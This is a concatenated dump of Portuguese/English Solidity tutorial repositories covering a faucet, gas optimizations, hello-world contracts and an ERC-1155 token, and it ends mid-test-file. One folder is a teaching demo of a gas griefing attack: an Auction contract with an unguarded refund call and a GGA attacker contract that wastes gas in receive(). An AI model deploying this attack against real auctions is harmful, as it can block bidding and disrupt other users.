35 | 36 | } -------------------------------------------------------------------------------- /faucet/README.md: -------------------------------------------------------------------------------- 1 | # Smart Contract Based Faucet 2 | 3 | Simple example of faucet built with a single smart contract (low security, low cost). 4 | 5 | ## How to Run 6 | 7 | 1. copy the smart contract for Remix 8 | 2. compile it 9 | 3. deploy it to the target network 10 | 4. transfer funds to the faucet contract address 11 | 5. call admin functions to adjust the params as you like 12 | 6. build a frontend for it or verify the contract at the block explorer 13 | 14 | ## Referências 15 | 16 | Tutorial em https://www.luiztools.com.br/post/como-criar-seu-proprio-faucet-de-criptomoedas-com-solidity 17 | 18 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 19 | 20 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 21 | 22 | Me siga nas redes sociais: https://about.me/luiztools 23 | 24 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /gas-griefing-attack-remix/Auction.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | contract Auction { 6 | address public highestBidder; 7 | uint256 public highestBid; 8 | uint256 public auctionEnd; 9 | 10 | constructor(){ 11 | auctionEnd = block.timestamp + (7 * 24 * 60 * 60);//7 days in the future 12 | } 13 | 14 | function bid() external payable { 15 | require(msg.value > highestBid, "Bid is not high enough"); 16 | require(block.timestamp <= auctionEnd, "Auction finished"); 17 | 18 | //refund the previous highest bidder 19 | if (highestBidder != address(0)) { 20 | (bool success, ) = highestBidder.call{value: highestBid}(""); 21 | require(success, "refund failed"); 22 | 23 | //alternative 1 24 | //payable(highestBidder).transfer(highestBid); //fail if impossible to transfer or gas limit > 2300 25 | 26 | //alternative 2 27 | //bool success = payable(highestBidder).send(highestBid); 28 | //save the failed ones and treat them later, to don't block the business flow 29 | } 30 | 31 | highestBidder = msg.sender; 32 | highestBid = msg.value; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /gas-griefing-attack-remix/GGA.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | interface IAuction { 6 | function bid() external payable; 7 | } 8 | 9 | contract GGA { 10 | function attack(address _auction) external payable { 11 | IAuction(_auction).bid{value: msg.value}(); 12 | } 13 | 14 | receive() external payable { 15 | keccak256("just wasting some gas..."); 16 | keccak256("just wasting some gas..."); 17 | keccak256("just wasting some gas..."); 18 | keccak256("just wasting some gas..."); 19 | keccak256("just wasting some gas..."); 20 | //etc... 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /gas-griefing-attack-remix/README.md: -------------------------------------------------------------------------------- 1 | # gas-griefing-attack-remix 2 | 3 | A simple Gas Griefing Attack example with solutions. 4 | 5 | ## Referências 6 | 7 | Tutorial em: https://www.luiztools.com.br/post/gas-griefing-attack-em-smart-contracts-solidity/ 8 | 9 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 10 | 11 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 12 | 13 | Me siga nas redes sociais: https://about.me/luiztools 14 | 15 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /gas-optimizations/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | # Hardhat files 5 | /cache 6 | /artifacts 7 | 8 | # TypeChain files 9 | /typechain 10 | /typechain-types 11 | 12 | # solidity-coverage files 13 | /coverage 14 | /coverage.json 15 | 16 | # Hardhat Ignition default folder for deployments against a local node 17 | ignition/deployments/chain-31337 18 | -------------------------------------------------------------------------------- /gas-optimizations/README.md: -------------------------------------------------------------------------------- 1 | # Gas Optimizations 2 | Simple examples of gas optimization in Solidity smart contracts. 3 | 4 | Tutorial at https://www.luiztools.com.br/post/como-diminuir-consumo-de-gas-em-smart-contracts-solidity-2 5 | 6 | ## How to Test 7 | 1. git clone 8 | 2. cd gas-optimizations 9 | 3. npm install 10 | 4. npm test 11 | 12 | ## More 13 | 14 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 15 | 16 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 17 | 18 | Me siga nas redes sociais: https://about.me/luiztools 19 | 20 | Receba novidades no Telegram: https://t.me/luiznews 21 | -------------------------------------------------------------------------------- /gas-optimizations/contracts/ExternalXPublic.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.24; 3 | 4 | contract ExternalXPublic { 5 | uint x = 0; 6 | 7 | function testExternal() external { 8 | x = 1; 9 | } 10 | 11 | function testPublic() public { 12 | x = 1; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /gas-optimizations/contracts/LidandoComStructs.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.24; 3 | 4 | contract LidandoComStructs { 5 | struct Book { 6 | string title; 7 | string author; 8 | uint year; 9 | } 10 | 11 | mapping(uint => Book) books; 12 | 13 | constructor() { 14 | books[1] = Book({title: "Test", author: "Test", year: 2024}); 15 | } 16 | 17 | string x = ""; 18 | 19 | function testBadStruct() external { 20 | Book memory book = books[1]; 21 | x = book.title; 22 | } 23 | 24 | function testGoodStruct() external { 25 | x = books[1].title; 26 | } 27 | 28 | function testLoopAStruct() external { 29 | for (uint i = 0; i < 10; i++) { 30 | if (books[1].year > 3000) break; 31 | } 32 | x = "finish"; 33 | } 34 | 35 | function testLoopBStruct() external { 36 | uint local = books[1].year; 37 | for (uint i = 0; i < 10; i++) { 38 | if (local > 3000) break; 39 | } 40 | x = "finish"; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /gas-optimizations/contracts/OtimizacoesLogicas.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.24; 3 | 4 | contract OtimizacoesLogicas { 5 | uint x = 0; 6 | 7 | function multiplasEscritas() external { 8 | for (uint i = 0; i < 10; i++) x += i; 9 | } 10 | 11 | function umaEscrita() external { 12 | uint local = 0; 13 | for (uint i = 0; i < 10; i++) local += i; 14 | x = local; 15 | } 16 | 17 | uint y = 0; 18 | function multiplasLeituras() external { 19 | for (uint i = 0; i < 10; i++) { 20 | if (y > 0) y = 1; 21 | } 22 | x = 1; 23 | } 24 | 25 | function umaLeitura() external { 26 | uint local = y; 27 | for (uint i = 0; i < 10; i++) { 28 | if (local > 0) y = 1; 29 | } 30 | x = 1; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /gas-optimizations/contracts/RevertXRequire.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.24; 3 | 4 | // Uncomment this line to use console.log 5 | // import "hardhat/console.sol"; 6 | 7 | contract RevertXRequire { 8 | uint x = 0; 9 | 10 | function testRequire(uint number) public { 11 | require(number < 10, "CustomError"); 12 | x = 1; 13 | } 14 | 15 | function testRevert(uint number) external { 16 | if(number > 10) 17 | revert("CustomError"); 18 | 19 | x = 1; 20 | } 21 | 22 | error CustomError(); 23 | function testRevertCustom(uint number) external { 24 | if(number > 10) 25 | revert CustomError(); 26 | 27 | x = 1; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /gas-optimizations/contracts/StorageXMemoryXCalldata.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.24; 3 | 4 | // Uncomment this line to use console.log 5 | // import "hardhat/console.sol"; 6 | 7 | contract StorageXMemoryXCalldata { 8 | string x = ""; 9 | 10 | function testMemory(string memory text) external { 11 | x = text; 12 | } 13 | 14 | function testCalldata(string calldata text) external { 15 | x = text; 16 | } 17 | 18 | uint y = 0; 19 | 20 | function testArrayMemory(uint[] memory numbers) external { 21 | y = numbers[numbers.length - 1]; 22 | } 23 | 24 | function testArrayCalldata(uint[] calldata numbers) external { 25 | y = numbers[numbers.length - 1]; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /gas-optimizations/contracts/ValidacaoXModifier.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.24; 3 | 4 | // Uncomment this line to use console.log 5 | // import "hardhat/console.sol"; 6 | 7 | contract ValidacaoXModifier { 8 | address admin = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266; 9 | uint x = 0; 10 | error CustomError(); 11 | 12 | function testValidacao() external { 13 | if (msg.sender != admin) revert CustomError(); 14 | x = 10; 15 | } 16 | 17 | modifier isAdmin(){ 18 | if (msg.sender != admin) revert CustomError(); 19 | _; 20 | } 21 | 22 | function testModifier() external isAdmin() { 23 | x = 10; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /gas-optimizations/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { HardhatUserConfig } from "hardhat/config"; 2 | import "@nomicfoundation/hardhat-toolbox"; 3 | 4 | const config: HardhatUserConfig = { 5 | solidity: "0.8.24", 6 | }; 7 | 8 | export default config; 9 | -------------------------------------------------------------------------------- /gas-optimizations/ignition/modules/Lock.ts: -------------------------------------------------------------------------------- 1 | import { buildModule } from "@nomicfoundation/hardhat-ignition/modules"; 2 | 3 | const JAN_1ST_2030 = 1893456000; 4 | const ONE_GWEI: bigint = 1_000_000_000n; 5 | 6 | const LockModule = buildModule("LockModule", (m) => { 7 | const unlockTime = m.getParameter("unlockTime", JAN_1ST_2030); 8 | const lockedAmount = m.getParameter("lockedAmount", ONE_GWEI); 9 | 10 | const lock = m.contract("Lock", [unlockTime], { 11 | value: lockedAmount, 12 | }); 13 | 14 | return { lock }; 15 | }); 16 | 17 | export default LockModule; 18 | -------------------------------------------------------------------------------- /gas-optimizations/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "gas-optimizations", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "npx hardhat test" 8 | }, 9 | "keywords": [], 10 | "author": "LuizTools", 11 | "license": "MIT", 12 | "devDependencies": { 13 | "@nomicfoundation/hardhat-toolbox": "^5.0.0", 14 | "hardhat": "^2.22.4" 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /gas-optimizations/test/GasOptimizations.test.ts: -------------------------------------------------------------------------------- 1 | import { 2 | time, 3 | loadFixture, 4 | } from "@nomicfoundation/hardhat-toolbox/network-helpers"; 5 | import { anyValue } from "@nomicfoundation/hardhat-chai-matchers/withArgs"; 6 | import { expect } from "chai"; 7 | import hre, { ethers } from "hardhat"; 8 | 9 | const compare = (bad: bigint, good: bigint) => { 10 | console.table({ 11 | Bad: bad.toString(), 12 | Good: good.toString(), 13 | Saving: `${bad - good} (${((good * 100n) / bad) - 100n}%)`, 14 | }); 15 | 16 | expect(bad).to.greaterThanOrEqual(good); 17 | }; 18 | 19 | describe("Gas Optimizations", function () { 20 | it("Compare External x Public functions", async function () { 21 | const ExternalXPublic = await ethers.getContractFactory("ExternalXPublic"); 22 | const contract = await ExternalXPublic.deploy(); 23 | 24 | const badCost = await contract.testPublic.estimateGas(); 25 | const goodCost = await contract.testExternal.estimateGas(); 26 | 27 | compare(badCost, goodCost); 28 | }); 29 | 30 | it("Compare Revert (Custom) x Require (Success)", async function () { 31 | const RevertXRequire = await ethers.getContractFactory("RevertXRequire"); 32 | const contract = await RevertXRequire.deploy(); 33 | 34 | const badCost = await contract.testRequire.estimateGas(0); 35 | const goodCost = await contract.testRevertCustom.estimateGas(0); 36 | 37 | compare(badCost, goodCost); 38 | }); 39 | 40 | it("Compare Revert x Require (Success)", async function () { 41 | const RevertXRequire = await ethers.getContractFactory("RevertXRequire"); 42 | const contract = await RevertXRequire.deploy(); 43 | 44 | const badCost = await contract.testRequire.estimateGas(0); 45 | const goodCost = await contract.testRevert.estimateGas(0); 46 | 47 | compare(badCost, goodCost); 48 | }); 49 | 50 | it("Compare Memory x Calldata", async function () { 51 | const StorageXMemoryXCalldata = await ethers.getContractFactory("StorageXMemoryXCalldata"); 52 | const contract = await StorageXMemoryXCalldata.deploy(); 53 | 54 | const badCost = await contract.testMemory.estimateGas("test"); 55 | const goodCost = await contract.testCalldata.estimateGas("test"); 56 | 57 | compare(badCost, goodCost); 58 | }); 59 | 60 | it("Compare Array Memory x Array Calldata", async function () { 61 | const StorageXMemoryXCalldata = await ethers.getContractFactory("StorageXMemoryXCalldata"); 62 | const contract = await StorageXMemoryXCalldata.deploy(); 63 | 64 | const badCost = await contract.testArrayMemory.estimateGas([1,2,3]); 65 | const goodCost = await contract.testArrayCalldata.estimateGas([1,2,3]); 66 | 67 | compare(badCost, goodCost); 68 | }); 69 | 70 | it("Compare Validação x Modifier", async function () { 71 | const ValidacaoXModifier = await ethers.getContractFactory("ValidacaoXModifier"); 72 | const contract = await ValidacaoXModifier.deploy(); 73 | 74 | const badCost = await contract.testModifier.estimateGas(); 75 | const goodCost = await contract.testValidacao.estimateGas(); 76 | 77 | compare(badCost, goodCost); 78 | }); 79 | 80 | it("Compare Escritas Storage", async function () { 81 | const OtimizacoesLogicas = await ethers.getContractFactory("OtimizacoesLogicas"); 82 | const contract = await OtimizacoesLogicas.deploy(); 83 | 84 | const badCost = await contract.multiplasEscritas.estimateGas(); 85 | const goodCost = await contract.umaEscrita.estimateGas(); 86 | 87 | compare(badCost, goodCost); 88 | }); 89 | 90 | it("Compare Leituras Storage", async function () { 91 | const OtimizacoesLogicas = await ethers.getContractFactory("OtimizacoesLogicas"); 92 | const contract = await OtimizacoesLogicas.deploy(); 93 | 94 | const badCost = await contract.multiplasLeituras.estimateGas(); 95 | const goodCost = await contract.umaLeitura.estimateGas(); 96 | 97 | compare(badCost, goodCost); 98 | }); 99 | 100 | it("Compare Uso de Struct", async function () { 101 | const LidandoComStructs = await ethers.getContractFactory("LidandoComStructs"); 102 | const contract = await LidandoComStructs.deploy(); 103 | 104 | const badCost = await contract.testBadStruct.estimateGas(); 105 | const goodCost = await contract.testGoodStruct.estimateGas(); 106 | 107 | compare(badCost, goodCost); 108 | }); 109 | 110 | it("Compare Loop Struct", async function () { 111 | const LidandoComStructs = await ethers.getContractFactory("LidandoComStructs"); 112 | const contract = await LidandoComStructs.deploy(); 113 | 114 | const badCost = await contract.testLoopAStruct.estimateGas(); 115 | const goodCost = await contract.testLoopBStruct.estimateGas(); 116 | 117 | compare(badCost, goodCost); 118 | }); 119 | }); 120 | -------------------------------------------------------------------------------- /gas-optimizations/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2020", 4 | "module": "commonjs", 5 | "esModuleInterop": true, 6 | "forceConsistentCasingInFileNames": true, 7 | "strict": true, 8 | "skipLibCheck": true, 9 | "resolveJsonModule": true 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /hello-solidity-hardhat/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | # Hardhat files 5 | /cache 6 | /artifacts 7 | 8 | # TypeChain files 9 | /typechain 10 | /typechain-types 11 | 12 | # solidity-coverage files 13 | /coverage 14 | /coverage.json 15 | -------------------------------------------------------------------------------- /hello-solidity-hardhat/README.md: -------------------------------------------------------------------------------- 1 | # hello-solidity-hardhat 2 | A Hello world example in Solidity using HardHat. 3 | 4 | ## Pre-requisites 5 | 6 | Only Node.js. 7 | 8 | ## How to Run 9 | 10 | 1. open command line terminal 11 | 2. cd hello-solidity-hardhat 12 | 3. npm install 13 | 5. npx hardhat test 14 | 15 | ## Mais Informações 16 | 17 | Leia o tutorial em: https://www.luiztools.com.br/post/como-criar-seu-primeiro-smart-contract-em-solidity-com-hardhat/ 18 | 19 | Deploy em https://www.luiztools.com.br/post/deploy-de-smart-contract-com-hardhat-e-metamask 20 | 21 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 22 | 23 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 24 | 25 | Me siga nas redes sociais: https://about.me/luiztools 26 | 27 | Receba novidades no Telegram: https://t.me/luiznews 28 | -------------------------------------------------------------------------------- /hello-solidity-hardhat/contracts/HelloWorld.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.24; 3 | 4 | // Uncomment this line to use console.log 5 | // import "hardhat/console.sol"; 6 | 7 | contract HelloWorld { 8 | string public message = "Hello World!"; 9 | 10 | function helloWorld() public view returns (string memory) { 11 | return message; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /hello-solidity-hardhat/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { HardhatUserConfig } from "hardhat/config"; 2 | import "@nomicfoundation/hardhat-toolbox"; 3 | 4 | const config: HardhatUserConfig = { 5 | solidity: "0.8.24", 6 | }; 7 | 8 | export default config; 9 | -------------------------------------------------------------------------------- /hello-solidity-hardhat/ignition/modules/Lock.ts: -------------------------------------------------------------------------------- 1 | import { buildModule } from "@nomicfoundation/hardhat-ignition/modules"; 2 | 3 | const JAN_1ST_2030 = 1893456000; 4 | const ONE_GWEI: bigint = 1_000_000_000n; 5 | 6 | const LockModule = buildModule("LockModule", (m) => { 7 | const unlockTime = m.getParameter("unlockTime", JAN_1ST_2030); 8 | const lockedAmount = m.getParameter("lockedAmount", ONE_GWEI); 9 | 10 | const lock = m.contract("Lock", [unlockTime], { 11 | value: lockedAmount, 12 | }); 13 | 14 | return { lock }; 15 | }); 16 | 17 | export default LockModule; 18 | -------------------------------------------------------------------------------- /hello-solidity-hardhat/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hello-solidity-hardhat", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "npx hardhat test" 8 | }, 9 | "keywords": [], 10 | "author": "LuizTools", 11 | "license": "MIT", 12 | "devDependencies": { 13 | "@nomicfoundation/hardhat-toolbox": "^5.0.0", 14 | "hardhat": "^2.22.2" 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /hello-solidity-hardhat/test/HelloWorld.test.ts: -------------------------------------------------------------------------------- 1 | import { loadFixture } from "@nomicfoundation/hardhat-network-helpers"; 2 | import { expect } from "chai"; 3 | import { ethers } from "hardhat"; 4 | 5 | describe("HelloWorld", () => { 6 | async function deployFixture() { 7 | const [owner, otherAccount] = await ethers.getSigners(); 8 | const HelloWorld = await ethers.getContractFactory("HelloWorld"); 9 | const helloWorld = await HelloWorld.deploy(); 10 | return { helloWorld, owner, otherAccount }; 11 | } 12 | 13 | it("Should Hello the world", async () => { 14 | const { helloWorld } = await loadFixture(deployFixture); 15 | expect(await helloWorld.helloWorld()).equal("Hello World!"); 16 | }); 17 | 18 | }); -------------------------------------------------------------------------------- /hello-solidity-hardhat/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2020", 4 | "module": "commonjs", 5 | "esModuleInterop": true, 6 | "forceConsistentCasingInFileNames": true, 7 | "strict": true, 8 | "skipLibCheck": true, 9 | "resolveJsonModule": true 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /hello-solidity-truffle/README.md: -------------------------------------------------------------------------------- 1 | # hello-solidity 2 | A Hello world example in Solidity using Truffle. 3 | 4 | ## Pre-requisites 5 | 6 | 1. Node.js 7 | 2. Truffle 8 | 9 | ## How to Run 10 | 11 | 1. open command line terminal 12 | 2. cd hello-solidity-truffle 13 | 3. npm install 14 | 4. sudo truffle compile 15 | 5. sudo truffle test 16 | 17 | ## Mais Informações 18 | 19 | Leia o tutorial em (inclui vídeo): https://www.luiztools.com.br/post/como-criar-seu-primeiro-smart-contract-em-solidity-com-truffle/ 20 | 21 | Deploy em (inclui vídeo) https://www.luiztools.com.br/post/deploy-de-smart-contract-com-truffle-e-metamask 22 | 23 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 24 | 25 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 26 | 27 | Me siga nas redes sociais: https://about.me/luiztools 28 | 29 | Receba novidades no Telegram: https://t.me/luiznews 30 | -------------------------------------------------------------------------------- /hello-solidity-truffle/contracts/HelloWorld.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.17; 3 | 4 | /// @title A title that should describe the contract/interface 5 | /// @author The name of the author 6 | /// @notice Explain to an end user what this does 7 | /// @dev Explain to a developer any extra details 8 | 9 | contract HelloWorld { 10 | string public message = "Hello World!"; 11 | 12 | function helloWorld() public view returns (string memory) { 13 | return message; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /hello-solidity-truffle/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const HelloWorld = artifacts.require("HelloWorld"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(HelloWorld); 5 | }; 6 | -------------------------------------------------------------------------------- /hello-solidity-truffle/test/HelloWorld.test.js: -------------------------------------------------------------------------------- 1 | const HelloWorld = artifacts.require("HelloWorld"); 2 | 3 | contract('HelloWorld', function (accounts) { 4 | beforeEach(async () => { 5 | contract = await HelloWorld.new(); 6 | }) 7 | 8 | it('Hello World', async () => { 9 | const result = await contract.helloWorld(); 10 | assert(result === "Hello World!"); 11 | }) 12 | }); 13 | -------------------------------------------------------------------------------- /hello-solidity-truffle/truffle-config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: {}, 3 | compilers: { 4 | solc: { 5 | version: "0.8.17", 6 | settings: { 7 | optimizer: { 8 | enabled: true, // Default: false 9 | runs: 200 // Default: 200 10 | }, 11 | } 12 | } 13 | } 14 | }; 15 | -------------------------------------------------------------------------------- /multitoken-erc1155-hardhat/.env.example: -------------------------------------------------------------------------------- 1 | # Your MetaMask 12-word mnemonic phrase 2 | SECRET= 3 | 4 | # Your Etherscan Api Key 5 | API_KEY= 6 | 7 | # Your blockchain Node RPC URL 8 | RPC_URL= 9 | 10 | # Blockchain Chain ID 11 | CHAIN_ID= -------------------------------------------------------------------------------- /multitoken-erc1155-hardhat/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | coverage 4 | coverage.json 5 | typechain 6 | typechain-types 7 | 8 | # Hardhat files 9 | cache 10 | artifacts 11 | 12 | -------------------------------------------------------------------------------- /multitoken-erc1155-hardhat/README.md: -------------------------------------------------------------------------------- 1 | # multitoken-erc1155-hardhat 2 | 3 | A simple multi-token contract written in Solidity using ERC-1155 spec, OpenZeppelin contracts and HardHat toolkit. 4 | 5 | ## Pre-requisites 6 | 7 | 1. Node.js 8 | 9 | ## How to Run 10 | 11 | 1. open command line terminal 12 | 2. cd multitoken-erc1155-hardhat 13 | 3. npm install 14 | 4. npx hardhat test 15 | 16 | ## Referências 17 | 18 | Tutorial em: https://www.luiztools.com.br/post/tutorial-erc-1155-com-solidity-e-hardhat-js/ 19 | 20 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 21 | 22 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 23 | 24 | Me siga nas redes sociais: https://about.me/luiztools 25 | 26 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /multitoken-erc1155-hardhat/contracts/MyTokens.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | // Uncomment this line to use console.log 5 | // import "hardhat/console.sol"; 6 | 7 | import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; 8 | import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol"; 9 | import "@openzeppelin/contracts/utils/Strings.sol"; 10 | 11 | contract MyTokens is ERC1155, ERC1155Burnable { 12 | uint public constant NFT_0 = 0; 13 | uint public constant NFT_1 = 1; 14 | uint public constant NFT_2 = 2; 15 | 16 | uint[] public currentSupply = [50, 50, 50]; 17 | 18 | uint public tokenPrice = 0.01 ether; 19 | 20 | address payable public immutable owner; 21 | 22 | constructor() ERC1155("https://www.luiztools.com.br/tokens/{id}.json") { 23 | owner = payable(msg.sender); 24 | } 25 | 26 | function mint(uint256 id) external payable { 27 | require(id < 3, "This token does not exists"); 28 | require(msg.value >= tokenPrice, "Insufficient payment"); 29 | require(currentSupply[id] > 0, "Max supply reached"); 30 | 31 | _mint(msg.sender, id, 1, ""); 32 | currentSupply[id]--; 33 | } 34 | 35 | function withdraw() external { 36 | require(msg.sender == owner, "You do not have permission"); 37 | 38 | uint256 amount = address(this).balance; 39 | (bool success, ) = owner.call{value: amount}(""); 40 | require(success == true, "Failed to withdraw"); 41 | } 42 | 43 | function uri(uint256 id) public pure override returns (string memory) { 44 | require(id < 3, "This token does not exists"); 45 | return 46 | string.concat( 47 | "https://www.luiztools.com.br/tokens/", 48 | Strings.toString(id), 49 | ".json" 50 | ); 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /multitoken-erc1155-hardhat/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { HardhatUserConfig } from "hardhat/config"; 2 | import "@nomicfoundation/hardhat-toolbox"; 3 | 4 | import dotenv from 'dotenv'; 5 | dotenv.config(); 6 | 7 | const config: HardhatUserConfig = { 8 | solidity: "0.8.20", 9 | networks: { 10 | mumbai: { 11 | url: process.env.RPC_URL, 12 | chainId: parseInt(`${process.env.CHAIN_ID}`), 13 | accounts: { 14 | mnemonic: process.env.SECRET 15 | } 16 | } 17 | }, 18 | etherscan: { 19 | apiKey: process.env.API_KEY 20 | } 21 | }; 22 | 23 | export default config; 24 | -------------------------------------------------------------------------------- /multitoken-erc1155-hardhat/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "multitoken-erc1155-hardhat", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "npx hardhat coverage", 8 | "compile": "npx hardhat compile" 9 | }, 10 | "keywords": [], 11 | "author": "LuizTools", 12 | "license": "MIT", 13 | "devDependencies": { 14 | "@nomicfoundation/hardhat-toolbox": "^4.0.0", 15 | "hardhat": "^2.19.1" 16 | }, 17 | "dependencies": { 18 | "@openzeppelin/contracts": "^5.0.0", 19 | "dotenv": "^16.3.1" 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /multitoken-erc1155-hardhat/scripts/deploy.ts: -------------------------------------------------------------------------------- 1 | import { ethers } from "hardhat"; 2 | 3 | async function main() { 4 | const MyTokens = await ethers.getContractFactory("MyTokens"); 5 | const myTokens = await MyTokens.deploy(); 6 | 7 | await myTokens.waitForDeployment(); 8 | const address = await myTokens.getAddress(); 9 | 10 | console.log( 11 | `Contract deployed to ${address}` 12 | ); 13 | } 14 | 15 | // We recommend this pattern to be able to use async/await everywhere 16 | // and properly handle errors. 17 | main().catch((error) => { 18 | console.error(error); 19 | process.exitCode = 1; 20 | }); 21 | -------------------------------------------------------------------------------- /multitoken-erc1155-hardhat/test/MyTokens.test.ts: -------------------------------------------------------------------------------- 1 | import { loadFixture } from "@nomicfoundation/hardhat-network-helpers"; 2 | import { expect } from "chai"; 3 | import { ethers } from "hardhat"; 4 | 5 | describe("MyTokens", () => { 6 | async function deployFixture() { 7 | const [owner, otherAccount, oneMoreAccount] = await ethers.getSigners(); 8 | const MyTokens = await ethers.getContractFactory("MyTokens"); 9 | const contract = await MyTokens.deploy(); 10 | const contractAddress = await contract.getAddress(); 11 | return { contract, contractAddress, owner, otherAccount, oneMoreAccount }; 12 | } 13 | 14 | it("Should mint a new token", async () => { 15 | const { contract, owner } = await loadFixture(deployFixture); 16 | 17 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 18 | 19 | const balance = await contract.balanceOf(owner.address, 0); 20 | const supply = await contract.currentSupply(0); 21 | 22 | expect(balance).to.equal(1, "Can't mint"); 23 | expect(supply).to.equal(49, "Can't mint"); 24 | }); 25 | 26 | it("Should NOT mint a new token (exists)", async () => { 27 | const { contract, owner } = await loadFixture(deployFixture); 28 | 29 | await expect(contract.mint(3, { value: ethers.parseEther("0.01") })) 30 | .to.be.revertedWith("This token does not exists"); 31 | }); 32 | 33 | it("Should NOT mint a new token (payment)", async () => { 34 | const { contract, owner } = await loadFixture(deployFixture); 35 | 36 | await expect(contract.mint(0, { value: ethers.parseEther("0.001") })) 37 | .to.be.revertedWith("Insufficient payment"); 38 | }); 39 | 40 | it("Should NOT mint a new token (supply)", async () => { 41 | const { contract, owner } = await loadFixture(deployFixture); 42 | 43 | for (let i = 0; i < 50; i++) { 44 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 45 | } 46 | 47 | await expect(contract.mint(0, { value: ethers.parseEther("0.01") })) 48 | .to.be.revertedWith("Max supply reached"); 49 | }); 50 | 51 | it("Should burn", async () => { 52 | const { contract, owner } = await loadFixture(deployFixture); 53 | 54 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 55 | 56 | await contract.burn(owner.address, 0, 1); 57 | 58 | const supply = await contract.currentSupply(0); 59 | const balance = await contract.balanceOf(owner.address, 0); 60 | 61 | expect(balance).to.equal(0, "Can't burn"); 62 | expect(supply).to.equal(49, "Can't burn"); 63 | }); 64 | 65 | it("Should burn (approved)", async () => { 66 | const { contract, owner, otherAccount } = await loadFixture(deployFixture); 67 | 68 | await contract.mint(0, { value: ethers.parseEther("0.01") }); 69 | 70 | await contract.setApprovalForAll(otherAccount.address, true); 71 | const approved = await contract.isApprovedForAll(owner.address, otherAccount.address); 72 | 73 | const instance = contract.connect(otherAccount); 74 | await instance.burn(owner.address, 0, 1); 75 | 76 | const supply = await contract.currentSupply(0); 77 | const balanceFrom = await contract.balanceOf(owner.address, 0); 78 | 79 | expect(approved).to.equal(true, "Can't burn"); 80 | expect(balanceFrom).to.equal(0, "Can't burn"); 81 | expect(supply).to.equal(49, "Can't burn"); 82 | }); 83 | 84 | it("Should NOT burn (balance)", async () => { 85 | const { contract, owner, otherAccount } = await 